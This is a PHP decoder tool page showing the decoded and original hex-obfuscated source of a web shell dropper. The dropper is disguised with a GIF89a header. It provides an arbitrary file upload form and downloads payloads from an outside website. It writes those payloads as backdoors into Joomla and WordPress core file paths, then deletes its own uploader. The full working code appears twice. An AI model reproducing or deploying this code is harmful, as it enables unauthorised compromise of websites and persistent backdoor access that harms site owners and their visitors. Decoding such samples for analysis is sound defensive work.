Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a; <html> <title>-jancox-</title> <form method='post' enctype='multipart/for..
Decoded Output download
GIF89a;
<html>
<title>-jancox-</title>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' value='upload' name='upload'>
</form>
<?php if(isset($_POST['upload'])) { if(@copy($_FILES['idx_file']['tmp_name'], $_FILES['idx_file']['name'])) { echo$_FILES['idx_file']['name']. '[<b>OK</b>]'; } else { echo$_FILES['idx_file']['name']. '[<b>FAILED</b>'; } } ?>
<?php ${"GLOBALS"}["pyqscqqls"]="check3";$oylxdac="check3";${"GLOBALS"}["ixlbyrluma"]="text3";${"GLOBALS"}["bpvvnblkg"]="open3";${"GLOBALS"}["lelllgfyen"]="check3";${"GLOBALS"}["fkhealjjw"]="open2";${"GLOBALS"}["koptevk"]="text2";${"GLOBALS"}["kmuhgrxknf"]="check2";${"GLOBALS"}["texlikjsyqe"]="open3";$kkzodfmgw="open2";${"GLOBALS"}["jxrwijupygr"]="open3";${"GLOBALS"}["govwdginri"]="open1";${"GLOBALS"}["nidbcjxz"]="check1";${"GLOBALS"}["hhxrhgcn"]="im";@ini_set("output_buffering",0);$nqwxkmsrw="check3";@ini_set("display_errors",0);${"GLOBALS"}["ibfvejnun"]="open3";$lbejafubtn="check3";$rffsvzqlk="check3";${"GLOBALS"}["khnpwehh"]="check2";${"GLOBALS"}["lpikfad"]="text1";set_time_limit(0);$wjjbanh="check3";$wdnytym="open2";${"GLOBALS"}["xumrqhvqb"]="open1";${"GLOBALS"}["pbynutfcga"]="text3";ini_set("memory_limit","64M");header("Content-Type: text/html; charset=UTF-8");function http_get($url){${"GLOBALS"}["wjudihql"]="url";${"GLOBALS"}["utsdxhs"]="im";${"GLOBALS"}["nfxkvt"]="im";${${"GLOBALS"}["hhxrhgcn"]}=curl_init(${${"GLOBALS"}["wjudihql"]});curl_setopt(${${"GLOBALS"}["hhxrhgcn"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["hhxrhgcn"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"GLOBALS"}["hhxrhgcn"]},CURLOPT_FOLLOWLOCATION,1);${"GLOBALS"}["pgtqavriv"]="im";curl_setopt(${${"GLOBALS"}["utsdxhs"]},CURLOPT_HEADER,0);return curl_exec(${${"GLOBALS"}["pgtqavriv"]});curl_close(${${"GLOBALS"}["nfxkvt"]});}${"GLOBALS"}["ldwmxrlhh"]="text1";${${"GLOBALS"}["nidbcjxz"]}=$_SERVER["DOCUMENT_ROOT"]."/administrator/backlink.php";${${"GLOBALS"}["ldwmxrlhh"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/itel.txt");${${"GLOBALS"}["govwdginri"]}=fopen(${${"GLOBALS"}["nidbcjxz"]},"w");fwrite(${${"GLOBALS"}["xumrqhvqb"]},${${"GLOBALS"}["lpikfad"]});fclose(${${"GLOBALS"}["govwdginri"]});if(file_exists(${${"GLOBALS"}["nidbcjxz"]})){}echo"Bakdur Joomla => OK<br>";${${"GLOBALS"}["kmuhgrxknf"]}=$_SERVER["DOCUMENT_ROOT"]."/wp-config-sample.php";${${"GLOBALS"}["koptevk"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/modules.txt");${${"GLOBALS"}["fkhealjjw"]}=fopen(${${"GLOBALS"}["kmuhgrxknf"]},"w");$mmkojqm="text2";fwrite(${$wdnytym},${$mmkojqm});fclose(${$kkzodfmgw});if(file_exists(${${"GLOBALS"}["khnpwehh"]})){}echo"Bakdur Index => OK<br>";${${"GLOBALS"}["lelllgfyen"]}=$_SERVER["DOCUMENT_ROOT"]."/wp-includes/widgets/class-wp-widget-themes.php";${${"GLOBALS"}["pbynutfcga"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/itel.txt");${${"GLOBALS"}["texlikjsyqe"]}=fopen(${$wjjbanh},"w");fwrite(${${"GLOBALS"}["bpvvnblkg"]},${${"GLOBALS"}["ixlbyrluma"]});${"GLOBALS"}["ldojwxybg"]="text3";fclose(${${"GLOBALS"}["bpvvnblkg"]});if(file_exists(${$rffsvzqlk})){}echo"Bakdur Wordpress 1 => OK<br>";${"GLOBALS"}["pvyuoqhmxbg"]="text3";${${"GLOBALS"}["lelllgfyen"]}=$_SERVER["DOCUMENT_ROOT"]."/wp-includes/class-wp-widgets.php";$smirpweb="open3";${${"GLOBALS"}["pvyuoqhmxbg"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/itel.txt");${${"GLOBALS"}["jxrwijupygr"]}=fopen(${${"GLOBALS"}["lelllgfyen"]},"w");fwrite(${${"GLOBALS"}["bpvvnblkg"]},${${"GLOBALS"}["ixlbyrluma"]});fclose(${${"GLOBALS"}["bpvvnblkg"]});if(file_exists(${${"GLOBALS"}["lelllgfyen"]})){}echo"Bakdur Wordpress 2 => OK<br>";${"GLOBALS"}["vqxerbcpt"]="open3";${${"GLOBALS"}["lelllgfyen"]}=$_SERVER["DOCUMENT_ROOT"]."/wp-includes/class-wp-admin-plugins.php";${${"GLOBALS"}["ixlbyrluma"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/itel.txt");${${"GLOBALS"}["ibfvejnun"]}=fopen(${${"GLOBALS"}["lelllgfyen"]},"w");fwrite(${${"GLOBALS"}["bpvvnblkg"]},${${"GLOBALS"}["ldojwxybg"]});fclose(${${"GLOBALS"}["vqxerbcpt"]});if(file_exists(${$lbejafubtn})){}echo"Bakdur Wordpress 3 => OK<br>";${${"GLOBALS"}["pyqscqqls"]}=$_SERVER["DOCUMENT_ROOT"]."/wp-admin/options-comment.php";${${"GLOBALS"}["ixlbyrluma"]}=http_get("http://www.realizzazionesitiwebcosenza.it/components/com_wrapper/itel.txt");${${"GLOBALS"}["bpvvnblkg"]}=fopen(${$oylxdac},"w");fwrite(${${"GLOBALS"}["bpvvnblkg"]},${${"GLOBALS"}["ixlbyrluma"]});fclose(${$smirpweb});if(file_exists(${$nqwxkmsrw})){}echo"Bakdur Wordpress 4 => OK<br>";unlink("aplod.php");echo"Hapus alat tempur => OK";
?>
Did this file decode correctly?
Original Code
GIF89a;
<html>
<title>-jancox-</title>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' value='upload' name='upload'>
</form>
<?php if(isset($_POST['upload'])) { if(@copy($_FILES['idx_file']['tmp_name'], $_FILES['idx_file']['name'])) { echo$_FILES['idx_file']['name']. '[<b>OK</b>]'; } else { echo$_FILES['idx_file']['name']. '[<b>FAILED</b>'; } } ?>
<?php ${"\x47LO\x42\x41\x4c\x53"}["\x70y\x71\x73\x63\x71\x71l\x73"]="\x63\x68\x65\x63k\x33";$oylxdac="\x63h\x65ck3";${"\x47\x4cO\x42\x41LS"}["i\x78lb\x79\x72\x6c\x75\x6da"]="\x74\x65\x78t\x33";${"\x47LOBA\x4c\x53"}["\x62\x70\x76\x76nb\x6c\x6b\x67"]="o\x70e\x6e\x33";${"G\x4c\x4fB\x41\x4c\x53"}["\x6c\x65\x6cl\x6c\x67\x66\x79\x65n"]="\x63\x68\x65\x63\x6b\x33";${"\x47\x4c\x4fB\x41L\x53"}["f\x6b\x68\x65\x61l\x6a\x6a\x77"]="ope\x6e\x32";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6f\x70\x74\x65\x76\x6b"]="t\x65\x78\x74\x32";${"GL\x4f\x42\x41\x4c\x53"}["k\x6du\x68\x67\x72\x78\x6bn\x66"]="\x63\x68\x65\x63\x6b\x32";${"\x47LO\x42\x41\x4cS"}["te\x78l\x69\x6b\x6a\x73\x79qe"]="\x6fpe\x6e3";$kkzodfmgw="o\x70en\x32";${"\x47LO\x42\x41\x4c\x53"}["\x6a\x78\x72\x77i\x6a\x75\x70\x79\x67\x72"]="op\x65n\x33";${"\x47L\x4fB\x41\x4c\x53"}["\x67\x6f\x76w\x64gi\x6e\x72\x69"]="\x6f\x70\x65\x6e\x31";${"\x47\x4c\x4f\x42\x41LS"}["\x6eid\x62\x63j\x78\x7a"]="\x63\x68\x65\x63k\x31";${"G\x4cOB\x41L\x53"}["\x68\x68x\x72\x68\x67\x63\x6e"]="\x69m";@ini_set("o\x75\x74p\x75t\x5f\x62u\x66f\x65\x72\x69\x6eg",0);$nqwxkmsrw="\x63h\x65\x63\x6b3";@ini_set("\x64\x69\x73p\x6c\x61y_\x65\x72\x72\x6frs",0);${"\x47\x4c\x4f\x42\x41L\x53"}["i\x62\x66ve\x6anu\x6e"]="op\x65\x6e3";$lbejafubtn="\x63\x68\x65ck\x33";$rffsvzqlk="c\x68e\x63\x6b3";${"\x47\x4c\x4f\x42\x41L\x53"}["khn\x70\x77e\x68\x68"]="\x63heck2";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x70\x69kf\x61d"]="tex\x74\x31";set_time_limit(0);$wjjbanh="che\x63k3";$wdnytym="\x6f\x70en\x32";${"\x47\x4cO\x42\x41LS"}["xu\x6d\x72\x71\x68\x76\x71b"]="\x6f\x70\x65\x6e\x31";${"\x47L\x4fB\x41\x4c\x53"}["p\x62yn\x75tf\x63\x67\x61"]="\x74e\x78t\x33";ini_set("me\x6d\x6f\x72y\x5fl\x69\x6dit","6\x34\x4d");header("C\x6f\x6et\x65\x6et-\x54\x79\x70\x65: \x74e\x78\x74/\x68t\x6dl;\x20c\x68\x61\x72\x73e\x74=\x55TF-8");function http_get($url){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wj\x75\x64i\x68\x71\x6c"]="\x75\x72l";${"\x47\x4c\x4f\x42A\x4cS"}["\x75t\x73\x64\x78\x68\x73"]="\x69\x6d";${"GL\x4fB\x41\x4c\x53"}["\x6ef\x78\x6b\x76\x74"]="\x69m";${${"GL\x4f\x42\x41\x4cS"}["h\x68\x78\x72h\x67\x63n"]}=curl_init(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x6au\x64\x69h\x71\x6c"]});curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["hh\x78r\x68\x67\x63\x6e"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"G\x4c\x4f\x42\x41LS"}["\x68\x68\x78r\x68\x67\x63\x6e"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68h\x78r\x68\x67c\x6e"]},CURLOPT_FOLLOWLOCATION,1);${"\x47L\x4f\x42\x41\x4cS"}["\x70\x67t\x71\x61\x76\x72\x69v"]="i\x6d";curl_setopt(${${"G\x4c\x4f\x42\x41L\x53"}["u\x74s\x64\x78\x68\x73"]},CURLOPT_HEADER,0);return curl_exec(${${"\x47L\x4fB\x41\x4c\x53"}["\x70g\x74\x71a\x76\x72\x69\x76"]});curl_close(${${"\x47\x4cOBA\x4cS"}["n\x66xk\x76\x74"]});}${"\x47L\x4f\x42\x41L\x53"}["\x6cd\x77\x6d\x78\x72\x6ch\x68"]="\x74ex\x74\x31";${${"G\x4c\x4f\x42\x41L\x53"}["n\x69d\x62\x63j\x78z"]}=$_SERVER["D\x4f\x43U\x4d\x45\x4e\x54_\x52\x4f\x4f\x54"]."/a\x64m\x69\x6ei\x73\x74ra\x74\x6f\x72/b\x61ck\x6c\x69n\x6b.php";${${"\x47\x4c\x4f\x42\x41L\x53"}["ld\x77\x6d\x78\x72\x6ch\x68"]}=http_get("\x68t\x74\x70://www\x2e\x72ea\x6c\x69z\x7a\x61\x7a\x69\x6f\x6e\x65\x73\x69\x74\x69\x77eb\x63o\x73e\x6ez\x61\x2e\x69\x74/c\x6fmp\x6fn\x65nt\x73/c\x6f\x6d\x5fwr\x61p\x70e\x72/i\x74\x65l.tx\x74");${${"G\x4cOBA\x4c\x53"}["g\x6f\x76\x77\x64\x67\x69\x6e\x72i"]}=fopen(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69\x64b\x63jx\x7a"]},"\x77");fwrite(${${"\x47\x4c\x4f\x42A\x4cS"}["x\x75\x6d\x72\x71\x68\x76\x71\x62"]},${${"G\x4c\x4fBA\x4c\x53"}["\x6c\x70\x69\x6bfa\x64"]});fclose(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x6fv\x77\x64\x67\x69n\x72\x69"]});if(file_exists(${${"\x47\x4c\x4f\x42ALS"}["n\x69\x64b\x63\x6ax\x7a"]})){}echo"\x42\x61kdur\x20\x4a\x6f\x6f\x6d\x6ca =>\x20O\x4b\x3c\x62\x72>";${${"G\x4cOB\x41\x4cS"}["k\x6du\x68\x67\x72xk\x6ef"]}=$_SERVER["\x44\x4f\x43\x55\x4d\x45NT_\x52OO\x54"]."/wp-\x63\x6f\x6ef\x69\x67-\x73\x61\x6dpl\x65.\x70h\x70";${${"\x47LO\x42\x41L\x53"}["k\x6f\x70t\x65\x76\x6b"]}=http_get("\x68ttp://\x77ww\x2e\x72e\x61l\x69\x7azazio\x6e\x65\x73i\x74i\x77\x65bco\x73\x65n\x7a\x61.\x69\x74/c\x6f\x6d\x70\x6fn\x65nt\x73/\x63\x6f\x6d_wra\x70\x70er/m\x6f\x64u\x6c\x65s\x2et\x78t");${${"\x47\x4c\x4f\x42\x41L\x53"}["\x66k\x68\x65a\x6c\x6a\x6a\x77"]}=fopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x6d\x75\x68g\x72x\x6b\x6ef"]},"w");$mmkojqm="\x74\x65\x78t\x32";fwrite(${$wdnytym},${$mmkojqm});fclose(${$kkzodfmgw});if(file_exists(${${"\x47\x4cO\x42\x41\x4cS"}["\x6b\x68\x6e\x70\x77\x65\x68h"]})){}echo"B\x61k\x64u\x72 I\x6edex\x20=\x3e\x20OK<\x62r>";${${"\x47\x4c\x4fB\x41\x4cS"}["\x6c\x65\x6c\x6cl\x67f\x79\x65\x6e"]}=$_SERVER["D\x4f\x43UM\x45N\x54\x5f\x52\x4f\x4f\x54"]."/\x77p-\x69nc\x6c\x75d\x65\x73/w\x69\x64ge\x74s/\x63l\x61\x73s-\x77p-\x77i\x64\x67\x65t-t\x68\x65\x6des\x2ep\x68p";${${"G\x4c\x4f\x42\x41L\x53"}["p\x62\x79\x6e\x75\x74\x66c\x67a"]}=http_get("ht\x74\x70://\x77\x77\x77.\x72e\x61liz\x7a\x61\x7a\x69o\x6ees\x69\x74iw\x65\x62co\x73e\x6eza\x2e\x69t/\x63\x6fm\x70\x6f\x6e\x65nts/\x63\x6f\x6d_w\x72\x61p\x70\x65\x72/\x69t\x65\x6c.t\x78\x74");${${"\x47LO\x42\x41\x4c\x53"}["\x74e\x78\x6c\x69\x6b\x6a\x73yq\x65"]}=fopen(${$wjjbanh},"w");fwrite(${${"\x47L\x4fBA\x4cS"}["b\x70\x76v\x6e\x62\x6c\x6b\x67"]},${${"\x47\x4cO\x42AL\x53"}["\x69xlb\x79\x72\x6cu\x6d\x61"]});${"G\x4c\x4f\x42ALS"}["\x6c\x64\x6f\x6awx\x79b\x67"]="\x74\x65\x78t\x33";fclose(${${"G\x4cO\x42\x41L\x53"}["\x62\x70\x76vn\x62lk\x67"]});if(file_exists(${$rffsvzqlk})){}echo"B\x61\x6bd\x75r Wo\x72\x64\x70re\x73\x73 1 =\x3e\x20OK<\x62r>";${"GLO\x42\x41LS"}["pv\x79uo\x71\x68\x6dx\x62\x67"]="\x74\x65x\x74\x33";${${"\x47L\x4fBAL\x53"}["\x6ce\x6cl\x6c\x67fy\x65n"]}=$_SERVER["\x44OC\x55\x4d\x45NT_RO\x4fT"]."/wp-i\x6eclu\x64e\x73/\x63\x6cass-w\x70-wid\x67\x65\x74s.p\x68\x70";$smirpweb="\x6fpen\x33";${${"G\x4c\x4fB\x41\x4c\x53"}["\x70\x76\x79\x75\x6f\x71\x68\x6d\x78\x62\x67"]}=http_get("\x68\x74t\x70://\x77\x77\x77.r\x65\x61l\x69z\x7a\x61z\x69\x6f\x6eesit\x69\x77eb\x63o\x73en\x7aa\x2ei\x74/c\x6fmpon\x65nt\x73/com\x5fwr\x61p\x70e\x72/i\x74\x65\x6c.t\x78t");${${"GL\x4f\x42A\x4c\x53"}["\x6a\x78\x72\x77i\x6a\x75\x70\x79\x67r"]}=fopen(${${"\x47LO\x42\x41LS"}["l\x65\x6c\x6clgfy\x65n"]},"w");fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["bp\x76v\x6eb\x6c\x6b\x67"]},${${"\x47\x4cO\x42\x41\x4c\x53"}["i\x78\x6cb\x79\x72l\x75m\x61"]});fclose(${${"\x47LO\x42\x41L\x53"}["\x62\x70\x76\x76n\x62\x6c\x6b\x67"]});if(file_exists(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x65l\x6c\x6c\x67fy\x65n"]})){}echo"Bakd\x75r \x57\x6f\x72\x64pr\x65ss\x202\x20=> OK\x3c\x62\x72>";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x71x\x65rb\x63\x70\x74"]="o\x70e\x6e3";${${"\x47\x4c\x4f\x42\x41\x4cS"}["le\x6c\x6c\x6c\x67\x66\x79\x65n"]}=$_SERVER["D\x4fCUME\x4e\x54\x5fR\x4f\x4f\x54"]."/\x77\x70-\x69nc\x6cu\x64\x65s/c\x6c\x61s\x73-wp-\x61\x64min-p\x6c\x75\x67in\x73.\x70\x68\x70";${${"\x47L\x4fBA\x4cS"}["i\x78\x6c\x62\x79\x72lu\x6d\x61"]}=http_get("h\x74\x74p://w\x77\x77.\x72ea\x6c\x69zzazi\x6f\x6ee\x73\x69tiwe\x62co\x73\x65\x6e\x7aa.it/\x63\x6f\x6dp\x6f\x6e\x65n\x74\x73/\x63o\x6d_w\x72app\x65\x72/i\x74\x65\x6c\x2etxt");${${"\x47L\x4f\x42\x41L\x53"}["\x69\x62\x66ve\x6a\x6e\x75n"]}=fopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["l\x65\x6c\x6c\x6cg\x66ye\x6e"]},"w");fwrite(${${"\x47LO\x42ALS"}["\x62\x70\x76\x76n\x62lkg"]},${${"\x47L\x4fBA\x4c\x53"}["l\x64\x6f\x6a\x77x\x79\x62g"]});fclose(${${"G\x4c\x4fB\x41\x4c\x53"}["v\x71\x78\x65\x72\x62\x63\x70\x74"]});if(file_exists(${$lbejafubtn})){}echo"B\x61\x6b\x64u\x72 \x57\x6fr\x64\x70r\x65ss\x20\x33\x20=\x3e\x20\x4fK<b\x72>";${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x79q\x73c\x71q\x6cs"]}=$_SERVER["D\x4fCU\x4dE\x4e\x54_R\x4f\x4fT"]."/\x77\x70-a\x64\x6d\x69\x6e/\x6fpti\x6fns-\x63o\x6dmen\x74\x2e\x70\x68\x70";${${"\x47L\x4fBA\x4cS"}["\x69x\x6cby\x72\x6c\x75\x6d\x61"]}=http_get("\x68\x74tp://w\x77w\x2e\x72e\x61l\x69\x7az\x61\x7a\x69\x6f\x6ee\x73i\x74\x69we\x62c\x6f\x73\x65\x6ez\x61.i\x74/\x63\x6fm\x70\x6fn\x65\x6ets/com_\x77\x72ap\x70\x65r/\x69t\x65l\x2e\x74\x78t");${${"\x47L\x4fBAL\x53"}["\x62\x70\x76\x76n\x62\x6c\x6bg"]}=fopen(${$oylxdac},"w");fwrite(${${"G\x4c\x4fB\x41L\x53"}["\x62\x70v\x76n\x62\x6c\x6bg"]},${${"GL\x4f\x42\x41\x4c\x53"}["\x69\x78\x6c\x62\x79\x72\x6c\x75\x6d\x61"]});fclose(${$smirpweb});if(file_exists(${$nqwxkmsrw})){}echo"B\x61kdu\x72 \x57or\x64p\x72\x65s\x73 4 =>\x20\x4fK<\x62r\x3e";unlink("apl\x6f\x64\x2ep\x68\x70");echo"Hapus a\x6c\x61t\x20t\x65mpu\x72 \x3d\x3e \x4fK";
?>
Function Calls
| header | 1 |
| ini_set | 3 |
| set_time_limit | 1 |
Stats
| MD5 | 396b78850fcccdec7b3c2267c8929726 |
| Eval Count | 0 |
| Decode Time | 140 ms |